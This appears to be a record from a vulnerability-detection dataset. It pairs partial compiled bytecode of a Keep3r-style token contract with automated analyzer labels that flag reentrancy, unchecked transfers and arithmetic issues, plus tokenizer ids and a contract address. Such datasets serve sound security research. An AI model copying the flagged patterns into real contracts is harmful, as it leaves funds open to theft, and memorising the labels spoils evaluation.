408051602080825283518183015283519192839290830191858101910280838360005b83811015610d1c578181015183820152602001610d04565b505050509050019250505060405180910390f35b348015610d3c57600080fd5b5061057160048036036020811015610d5357600080fd5b50356001600160a01b03166126cc565b348015610d6f57600080fd5b5061057160048036036020811015610d8657600080fd5b50356001600160a01b03166126de565b610459612742565b348015610daa57600080fd5b50610571612b48565b348015610dbf57600080fd5b50610459600480360360c0811015610dd657600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135612b4f565b348015610e1357600080fd5b5061045960048036036020811015610e2a57600080fd5b50356001600160a01b0316612e08565b348015610e4657600080fd5b5061045960048036036040811015610e5d57600080fd5b506001600160a01b0381358116916020013516612eb5565b348015610e8157600080fd5b5061045960048036036040811015610e9857600080fd5b506001600160a01b038135169060200135613081565b348015610eba57600080fd5b5061057160048036036020811015610ed157600080fd5b50356001600160a01b03166132e1565b348015610eed57600080fd5b50610459600480360360e0811015610f0457600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356132f3565b348015610f4b57600080fd5b5061057160048036036020811015610f6257600080fd5b50356001600160a01b031661363f565b348015610f7e57600080fd5b5061057160048036036040811015610f9557600080fd5b506001600160a01b0381358116916020013516613651565b348015610fb957600080fd5b5061057160048036036020811015610fd057600080fd5b50356001600160a01b031661367c565b348015610fec57600080fd5b5061057161368e565b34801561100157600080fd5b506105716136b2565b34801561101657600080fd5b506105986004803603602081101561102d57600080fd5b50356136b8565b34801561104057600080fd5b506110736004803603604081101561105757600080fd5b5080356001600160a01b0316906020013563ffffffff166136df565b6040805163ffffffff909316835260208301919091528051918290030190f35b34801561109f57600080fd5b50610571600480360360208110156110b657600080fd5b50356001600160a01b031661370c565b3480156110d257600080fd5b50610571600480360360208110156110e957600080fd5b50356001600160a01b031661371e565b34801561110557600080fd5b506105716004803603602081101561111c57600080fd5b50356001600160a01b03166137c7565b34801561113857600080fd5b506105716004803603602081101561114f57600080fd5b50356001600160a01b03166137d9565b601a546001600160a01b031633146111a85760405162461bcd60e51b815260040180806020018281038252602a81526020018061452f602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600a60205260409020546111cb9082613845565b6001600160a01b0383166000818152600a6020908152604080832094909455600d815290839020805460ff191690558251438152908101849052825133937ff7e41ea76f0e7b22ba17dc4cc01fa75cff34ea24f5efe2874f5e175296259050928290030190a35050565b6040518060400160405280600681526020016525b2b2b819b960d11b81525081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b3360009081526015602052604090205461131f576040805162461bcd60e51b815260206004820152601f60248201527f4b65657033723a3a72656d6f76654a6f623a20756e626f6e6420666972737400604482015290519081900360640190fd5b33600090815260156020526040902054421161136c5760405162461bcd60e51b81526004018080602001828103825260228152602001806141746022913960400191505060405180910390fd5b33600090815260136020908152604080832054601b546001600160a01b0316808552600584528285205483516318160ddd60e01b8152935192959094909361140d936318160ddd92600480840193919291829003018186803b1580156113d157600080fd5b505afa1580156113e5573d6000803e3d6000fd5b505050506040513d60208110156113fb57600080fd5b5051611407848661386a565b906138c3565b336000908152601460209081526040808320546001600160a01b03168084526012909252909120549192509082111561145e576001600160a01b038116600090815260126020526040812055611483565b6001600160a01b0381166000908152601260205260409020546114819083613845565b505b601b546040805163a9059cbb60e01b81523360048201526024810187905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156114d757600080fd5b505af11580156114eb573d6000803e3d6000fd5b505050506040513d602081101561150157600080fd5b5050336000818152601360209081526040808320839055601482529182902080546001600160a01b0319169055815143815290810187905281516001600160a01b038516927f0a23f55887f0577cc8e106ed9238b0679e1dab42f858d1a07b84216d7d2d38d5928290030190a350505050565b336000908152600760205260409020546115d5576040805162461bcd60e51b815260206004820152601c60248201527f4b65657033723a3a61637469766174653a20626f6e6420666972737400000000604482015290519081900360640190fd5b336000908152600760205260409020544211611638576040805162461bcd60e51b815260206004820152601f60248201527f4b65657033723a3a61637469766174653a207374696c6c20626f6e64696e6700604482015290519081900360640190fd5b3360009081526018602052604090205460ff1661166257336000908152600c602052604090204290555b336000908152601860209081526040808320805460ff191660011790556009909152902054600b54611693916137eb565b600b5533600090815260096020908152604080832054600a909252909120546116bb916137eb565b336000908152600a602090815260408083209390935560098152828220829055600e9052205461173757336000818152600e602052604081204290556019805460018101825591527f944998273e477b495144fb8794c914197f3ccb46be2900f4698fd0ef743c96950180546001600160a01b03191690911790555b336000818152600a602090815260409182902054825143815242928101929092528183015290517f3d80dd4660c08288217e88c2d45230220fcd3debf16898013243026e6a2aad059181900360600190a2565b60005481565b601b546001600160a01b031681565b60106020526000908152604090205481565b6001600160a01b03841660009081526018602052604081205460ff1680156117f157506001600160a01b0385166000908152600a60205260409020548411155b801561181457506001600160a01b03851660009081526010602052604090205483105b801561184357506001600160a01b0385166000908152600c60205260409020548290611841904290613845565b115b95945050505050565b7f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f3581565b6001600160a01b0383166000818152600460209081526040808320338085529252822054919290919082148015906118aa57506000198114155b1561193b5760006118d6856040518060600160405280603981526020016141e660399139849190613905565b6001600160a01b0380891660008181526004602090815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b61194686868661399c565b50600195945050505050565b6001600160a01b03811660009081526018602052604090205460ff166119a95760405162461bcd60e51b81526004018080602001828103825260238152602001806141516023913960400191505060405180910390fd5b6001600160a01b0381166000908152600e602052604090205442906119d19062093a806137eb565b10611a23576040805162461bcd60e51b815260206004820152601960248201527f4b65657033723a3a646f776e3a206b6565706572207361666500000000000000604482015290519081900360640190fd5b6001600160a01b0381166000908152600a6020526040812054611a509061271090611407906101f461386a565b6001600160a01b0383166000908152600a6020526040902054909150611a769082613845565b6001600160a01b0383166000908152600a6020526040902055611aa133670de0b6b3a7640000613b25565b6001600160a01b0382166000818152600e6020908152604091829020429055815143815290810184905281513393927ff7e41ea76f0e7b22ba17dc4cc01fa75cff34ea24f5efe2874f5e175296259050928290030190a35050565b7f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e981565b601281565b600f6020526000908152604090205481565b611b4442621275006137eb565b336000818152601560209081526040808320949094556014815283822054601382529184902054845143815291820152835192936001600160a01b03909216927f91d917fcb74a8bc2e2f731fd59f937ef65391bbe469998d8c144fe6298fd495f929181900390910190a3565b60186020526000908152604090205460ff1681565b33600090815260086020526040902054611c27576040805162461bcd60e51b815260206004820152601e60248201527f4b65657033723a3a77697468647261773a20756e626f6e642066697273740000604482015290519081900360640190fd5b336000908152600860205260409020544211611c745760405162461bcd60e51b81526004018080602001828103825260218152602001806145aa6021913960400191505060405180910390fd5b336000908152600d602052604090205460ff1615611cc35760405162461bcd60e51b815260040180806020018281038252602281526020018061445e6022913960400191505060405180910390fd5b336000818152600a6020526040902054611cde91309161399c565b336000818152600a602090815260409182902054825143815242928101929092528183015290517f095ae150bb74a0755c30809eb8d4aa810b63b66b9ca96a1945bbb03d809df2e99181900360600190a2336000908152600a6020526040812055565b60116020526000908152604090205460ff1681565b611d603382613baf565b50565b600b5481565b60096020526000908152604090205481565b3360009081526011602052604090205460ff16611dc95760405162461bcd60e51b815260040180806020018281038252602f81526020018061457b602f913960400191505060405180910390fd5b42600e6000846001600160a01b03166001600160a01b0316815260200190815260200160002081905550611e27816040518060600160405280603381526020016144fc60339139336000908152601260205260409020549190613905565b336000908152601260209081526040808320939093556001600160a01b0385168252600f90522054611e5990826137eb565b6001600160a01b0383166000908152600f6020908152604080832093909355601090522054611e8890826137eb565b6001600160a01b0383166000818152601060209081526040918290209390935580514381529051919233927f898d34a85997d8833f2692e67bf5575e817ed9469c085f7e2f43a65c540d47269281900390910190a35050565b336000818152600f6020526040902054611efb9190613b25565b336000908152600f6020526040812055565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b601a546001600160a01b03163314611f6e5760405162461bcd60e51b815260040180806020018281038252602c8152602001806143b6602c913960400191505060405180910390fd5b6001600160a01b0381166000818152600d6020908152604091829020805460ff19169055815143815291517f7574a4a2c81b3099d59aaf15526ea966e1e2886afd21bf4a350af7af22db3a709281900390910190a250565b6001602052600090815260409020546001600160a01b031681565b601a546001600160a01b031681565b611d603382613ca0565b336000908152601860205260409020805460ff1916905561201e42621275006137eb565b33600090815260086020908152604080832093909355600a90522054600b5461204691613845565b600b5533600090815260016020908152604080832054600a90925282205461207a926001600160a01b039092169190613d20565b33600081815260086020908152604080832054600a835292819020548151438152928301939093528181019290925290517f50eca01e7e4362bc0279a45c4fbe68f263771dd3418b0a29c93008759f433b2e9181900360600190a2565b6212750081565b6014602052600090815260409020546001600160a01b031681565b6001600160a01b031660009081526018602052604090205460ff1690565b60036020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526005602052604090205490565b60166020526000908152604090205481565b600043821061219c5760405162461bcd60e51b815260040180806020018281038252602381526020018061443b6023913960400191505060405180910390fd5b6001600160a01b03831660009081526003602052604090205463ffffffff16806121ca5760009150506112b8565b6001600160a01b038416600090815260026020908152604080832063ffffffff600019860181168552925290912054168310612239576001600160a01b03841660009081526002602090815260408083206000199490940163ffffffff168352929052206001015490506112b8565b6001600160a01b038416600090815260026020908152604080832083805290915290205463ffffffff168310156122745760009150506112b8565b600060001982015b8163ffffffff168163ffffffff16111561232d57600282820363ffffffff160481036122a6614107565b506001600160a01b038716600090815260026020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415612308576020015194506112b89350505050565b805163ffffffff1687111561231f57819350612326565b6001820392505b505061227c565b506001600160a01b038516600090815260026020908152604080832063ffffffff9094168352929052206001015491505092915050565b60066020526000908152604090205481565b601a546001600160a01b031633146123bf5760405162461bcd60e51b81526004018080602001828103825260328152602001806143846032913960400191505060405180910390fd5b6001600160a01b038116600081815260116020908152604091829020805460ff191690558151438152339181019190915281517f2ca18fdfae50f1042480d285d21f6706aa6abbd567d60a044b5bec07ccfee648929181900390910190a250565b60156020526000908152604090205481565b6101f481565b6040518060400160405280600381526020016225a82960e91b81525081565b62093a8081565b33600090815260096020526040902054156124aa5760405162461bcd60e51b81526004018080602001828103825260228152602001806143626022913960400191505060405180910390fd5b6124b7426203f4806137eb565b3360008181526007602090815260408083209490945560099052919091208290556124e390308361399c565b336000818152600760209081526040918290205482514381529182015280820184905290517fa150b7ad789014c0171a2873708daadbdbf87457d90d3896eaf0907e5b225ae49181900360600190a250565b601a546001600160a01b03163314612594576040805162461bcd60e51b815260206004820152601d60248201527f4b65657033723a3a6d696e743a20676f7665726e616e6365206f6e6c79000000604482015290519081900360640190fd5b601a54611d60906001600160a01b031682613b25565b60006125b733848461399c565b50600192915050565b601a546001600160a01b031633146126095760405162461bcd60e51b815260040180806020018281038252602e815260200180614480602e913960400191505060405180910390fd5b601a80546001600160a01b0319166001600160a01b0392909216919091179055565b60086020526000908152604090205481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600d6020526000908152604090205460ff1681565b606060198054806020026020016040519081016040528092919081815260200182805480156126c257602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116126a4575b5050505050905090565b60176020526000908152604090205481565b6001600160a01b03811660009081526003602052604081205463ffffffff168061270957600061273b565b6001600160a01b038316600090815260026020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b601b546001600160a01b03161561278a5760405162461bcd60e51b81526004018080602001828103825260238152602001806145cb6023913960400191505060405180910390fd5b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156127d957600080fd5b505af11580156127ed573d6000803e3d6000fd5b50506040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152346024820152905173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2945063095ea7b39350604480830193506020928290030181600087803b15801561285d57600080fd5b505af1158015612871573d6000803e3d6000fd5b505050506040513d602081101561288757600080fd5b5061289d9050306815af1d78b58c400000613b25565b306000818152600560208181526040808420546004808452828620737a250d5630b4cf539739df2c5dacb4c659f2488d8088529085528387208390559587905293835281516370a0823160e01b81529384018690529051939463e8e3370094909373c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29384926370a08231926024808201939291829003018186803b15801561293857600080fd5b505afa15801561294c573d6000803e3d6000fd5b505050506040513d602081101561296257600080fd5b505160008033612974426107086137eb565b6040518963ffffffff1660e01b815260040180896001600160a01b03168152602001886001600160a01b03168152602001878152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200198505050505050505050606060405180830381600087803b1580156129f657600080fd5b505af1158015612a0a573d6000803e3d6000fd5b505050506040513d6060811015612a2057600080fd5b50506040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a0155916004808301926020929190829003018186803b158015612a6d57600080fd5b505afa158015612a81573d6000803e3d6000fd5b505050506040513d6020811015612a9757600080fd5b50516040805163e6a4390560e01b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2602482015290516001600160a01b039092169163e6a4390591604480820192602092909190829003018186803b158015612afb57600080fd5b505afa158015612b0f573d6000803e3d6000fd5b505050506040513d6020811015612b2557600080fd5b5051601b80546001600160a01b0319166001600160a01b03909216919091179055565b6203f48081565b60408051808201909152600681526525b2b2b819b960d11b60209091015260007f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f357fd314376a3d4ce4f7c8f53d5c35caff5f7e61ac34503e000f4a763ea3b154dcf6612bb9613e7d565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207f1ac861a6a8532f3704e1768564a53a32774f00d6cf20ccbbdf60ab61378302bc60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a90526102228601899052935192965090949293909260019261024280840193601f198301929081900390910190855afa158015612cec573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612d3e5760405162461bcd60e51b81526004018080602001828103825260228152602001806145596022913960400191505060405180910390fd5b6001600160a01b03811660009081526006602052604090208054600181019091558914612db2576040805162461bcd60e51b815260206004820152601e60248201527f3a3a64656c656761746542795369673a20696e76616c6964206e6f6e63650000604482015290519081900360640190fd5b87421115612df15760405162461bcd60e51b81526004018080602001828103825260228152602001806144ae6022913960400191505060405180910390fd5b612dfb818b613ca0565b505050505b505050505050565b601a546001600160a01b03163314612e515760405162461bcd60e51b815260040180806020018281038252602c8152602001806144d0602c913960400191505060405180910390fd5b6001600160a01b038116600081815260116020908152604091829020805460ff191660011790558151438152339181019190915281517f3d9884fbd11fce9188657c4bcfda7491d3316ce97bd234d981b7be1f012a852f929181900390910190a250565b6001600160a01b038216600090815260176020526040902054612f1f576040805162461bcd60e51b815260206004820152601f60248201527f4b65657033723a3a6372656469743a207375626d69744a6f6220666972737400604482015290519081900360640190fd5b6001600160a01b0382166000908152601760205260409020544211612f8b576040805162461bcd60e51b815260206004820152601d60248201527f4b65657033723a3a6372656469743a207374696c6c20626f6e64696e67000000604482015290519081900360640190fd5b601b546001600160a01b031660008181526005602090815260408083205481516318160ddd60e01b8152915190946130309390926318160ddd9260048083019392829003018186803b158015612fe057600080fd5b505afa158015612ff4573d6000803e3d6000fd5b505050506040513d602081101561300a57600080fd5b50516001600160a01b03861660009081526013602052604090205461140790859061386a565b905061305f61304082600261386a565b6001600160a01b038516600090815260126020526040902054906137eb565b6001600160a01b03909316600090815260126020526040902092909255505050565b336000908152601460205260409020546001600160a01b0316156130d65760405162461bcd60e51b81526004018080602001828103825260428152602001806143206042913960600191505060405180910390fd5b601b54604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561313057600080fd5b505af1158015613144573d6000803e3d6000fd5b505050506040513d602081101561315a57600080fd5b50503360009081526013602090815260408083208490556014909152902080546001600160a01b0319166001600160a01b03841617905561319e42620151806137eb565b336000908152601760209081526040808320939093556001600160a01b038516825260119052205460ff161580156131ed57506001600160a01b03821660009081526016602052604090205442115b1561329557601a546040805163dc380cbb60e01b81526001600160a01b0385811660048301529151919092169163dc380cbb9160248083019260209291908290030181600087803b15801561324157600080fd5b505af1158015613255573d6000803e3d6000fd5b505050506040513d602081101561326b57600080fd5b5061327b905042621275006137eb565b6001600160a01b0383166000908152601660205260409020555b6040805143815260208101839052815133926001600160a01b038616927fae74eca2068752f1164f9ef320d0b01c5a658912e166358797d892e9997039ba929081900390910190a35050565b600e6020526000908152604090205481565b60408051808201909152600681526525b2b2b819b960d11b60209091015260007f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f357fd314376a3d4ce4f7c8f53d5c35caff5f7e61ac34503e000f4a763ea3b154dcf661335d613e7d565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401206001600160a01b038c8116600081815260068752848120805460018082019092557f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e960c089015260e0880193909352928e1661010087015261012086018d90526101408601919091526101608086018c9052845180870390910181526101808601855280519087012061190160f01b6101a08701526101a286018490526101c2808701829052855180880390910181526101e2870180875281519189019190912090839052610202870180875281905260ff8c1661022288015261024287018b905261026287018a90529451939750959394909391926102828083019392601f198301929081900390910190855afa1580156134b9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116613521576040805162461bcd60e51b815260206004820152601b60248201527f3a3a7065726d69743a20696e76616c6964207369676e61747572650000000000604482015290519081900360640190fd5b8a6001600160a01b0316816001600160a01b031614613580576040805162461bcd60e51b81526020600482015260166024820152750e8e9c195c9b5a5d0e881d5b985d5d1a1bdc9a5e995960521b604482015290519081900360640190fd5b874211156135d5576040805162461bcd60e51b815260206004820152601b60248201527f3a3a7065726d69743a207369676e617475726520657870697265640000000000604482015290519081900360640190fd5b6001600160a01b03808c166000818152600460209081526040808320948f16808452948252918290208d905581518d815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35050505050505050505050565b60136020526000908152604090205481565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600c6020526000908152604090205481565b7f1ac861a6a8532f3704e1768564a53a32774f00d6cf20ccbbdf60ab61378302bc81565b61271081565b601981815481106136c557fe5b6000918252602090912001546001600160a01b0316905081565b60026020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b60076020526000908152604090205481565b601a546000906001600160a01b0316331461376a5760405162461bcd60e51b815260040180806020018281038252602c815260200180614296602c913960400191505060405180910390fd5b6001600160a01b0382166000818152600d6020908152604091829020805460ff19166001179055815143815291517ffb2bdfce35c242f34d4f9633225d3c34a5892d5eae9ce102de6aac188dd25ba09281900390910190a2919050565b600a6020526000908152604090205481565b60126020526000908152604090205481565b60008282018381101561273b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061273b83836040518060600160405280602881526020016142c260289139613905565b600082613879575060006112b8565b8282028284828161388657fe5b041461273b5760405162461bcd60e51b81526004018080602001828103825260218152602001806143e26021913960400191505060405180910390fd5b600061273b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613e81565b600081848411156139945760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613959578181015183820152602001613941565b50505050905090810190601f1680156139865780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166139e15760405162461bcd60e51b81526004018080602001828103825260388152602001806144036038913960400191505060405180910390fd5b6001600160a01b038216613a265760405162461bcd60e51b81526004018080602001828103825260368152602001806142ea6036913960400191505060405180910390fd5b613a638160405180606001604052806032815260200161411f603291396001600160a01b0386166000908152600560205260409020549190613905565b60056000856001600160a01b03166001600160a01b0316815260200190815260200160002081905550613ac9816040518060600160405280602c8152602001614196602c91396001600160a01b0385166000908152600560205260409020549190613ee6565b6001600160a01b0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600054613b3290826137eb565b60009081556001600160a01b038316815260056020526040902054613b5790826137eb565b6001600160a01b03831660008181526005602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216613bf45760405162461bcd60e51b81526004018080602001828103825260238152602001806142436023913960400191505060405180910390fd5b613c31816040518060600160405280602481526020016141c2602491396001600160a01b0385166000908152600560205260409020549190613905565b6001600160a01b03831660009081526005602052604081209190915554613c589082613845565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160a01b0380831660008181526001602081815260408084208054600a845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4613d1a828483613d20565b50505050565b816001600160a01b0316836001600160a01b031614158015613d425750600081115b15613e78576001600160a01b03831615613def576001600160a01b03831660009081526003602052604081205463ffffffff169081613d82576000613db4565b6001600160a01b038516600090815260026020908152604080832063ffffffff60001987011684529091529020600101545b90506000613ddd8460405180606001604052806024815260200161421f60249139849190613905565b9050613deb86848484613f44565b5050505b6001600160a01b03821615613e78576001600160a01b03821660009081526003602052604081205463ffffffff169081613e2a576000613e5c565b6001600160a01b038416600090815260026020908152604080832063ffffffff60001987011684529091529020600101545b90506000613e6a82856137eb565b9050612e0085848484613f44565b505050565b4690565b60008183613ed05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613959578181015183820152602001613941565b506000838581613edc57fe5b0495945050505050565b60008383018285821015613f3b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613959578181015183820152602001613941565b50949350505050565b6000613f6843604051806060016040528060308152602001614266603091396140a9565b905060008463ffffffff16118015613fb157506001600160a01b038516600090815260026020908152604080832063ffffffff6000198901811685529252909120548282169116145b15613fee576001600160a01b038516600090815260026020908152604080832063ffffffff6000198901168452909152902060010182905561405f565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600284528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260039092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b60008164010000000084106140ff5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613959578181015183820152602001613941565b509192915050565b60408051808201909152600080825260208201529056fe3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654b65657033723a3a646f776e3a206b6565706572206e6f7420726567697374657265644b65657033723a3a72656d6f76654a6f623a207374696c6c20756e626f6e64696e673a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77733a3a5f6275726e3a206275726e20616d6f756e7420657863656564732062616c616e63653a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63653a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77733a3a5f6275726e3a206275726e2066726f6d20746865207a65726f20616464726573733a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734b65657033723a3a646973707574653a206f6e6c7920676f7665726e616e63652063616e2064697370757465556e696c6f616e3a3a536166654d6174683a207375627472616374696f6e20756e646572666c6f773a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573734b65657033723a3a7375626d69744a6f623a206c697175696469747920616c72656164792070726f76696465642c20706c656173652072656d6f76652066697273744b65657033723a3a626f6e643a2063757272656e742070656e64696e6720626f6e644b65657033723a3a72656d6f76654a6f623a206f6e6c7920676f7665726e616e63652063616e2072656d6f7665206a6f62734b65657033723a3a7265736f6c76653a206f6e6c7920676f7665726e616e63652063616e207265736f6c7665536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f773a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573733a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644b65657033723a3a77697468647261773a2070656e64696e672064697370757465734b65657033723a3a736574476f7665726e616e63653a206f6e6c7920676f7665726e616e63652063616e207365743a3a64656c656761746542795369673a207369676e617475726520657870697265644b65657033723a3a6164644a6f623a206f6e6c7920676f7665726e616e63652063616e20616464206a6f62734b65657033723a3a776f726b526563656970743a20696e7375666669656e742066756e647320746f20706179206b65657065724b65657033723a3a736c6173683a206f6e6c7920676f7665726e616e63652063616e207265736f6c76653a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654b65657033723a3a776f726b526563656970743a206f6e6c79206a6f62732063616e20617070726f766520776f726b4b65657033723a3a77697468647261773a207374696c6c20756e626f6e64696e674b65657033723a3a73657475703a206b656570337220616c7265616479207365747570a26469706673582212202d2f5e4ba81ad403323c8f8f82ade899913daf718f18668602fe7ec1fbe74c0a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2575, 7959, 27717, 12521, 2487, 2278, 2683, 22025, 2278, 20842, 2487, 2497, 2683, 2549, 11329, 11306, 2683, 2620, 2094, 2683, 2581, 2487, 3207, 27009, 2497, 16703, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1013, 2013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1013, 1013, 3395, 2000, 1996, 10210, 6105, 1012, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,337
0x969734a4894e561317b134537283d3e92ecc49fd
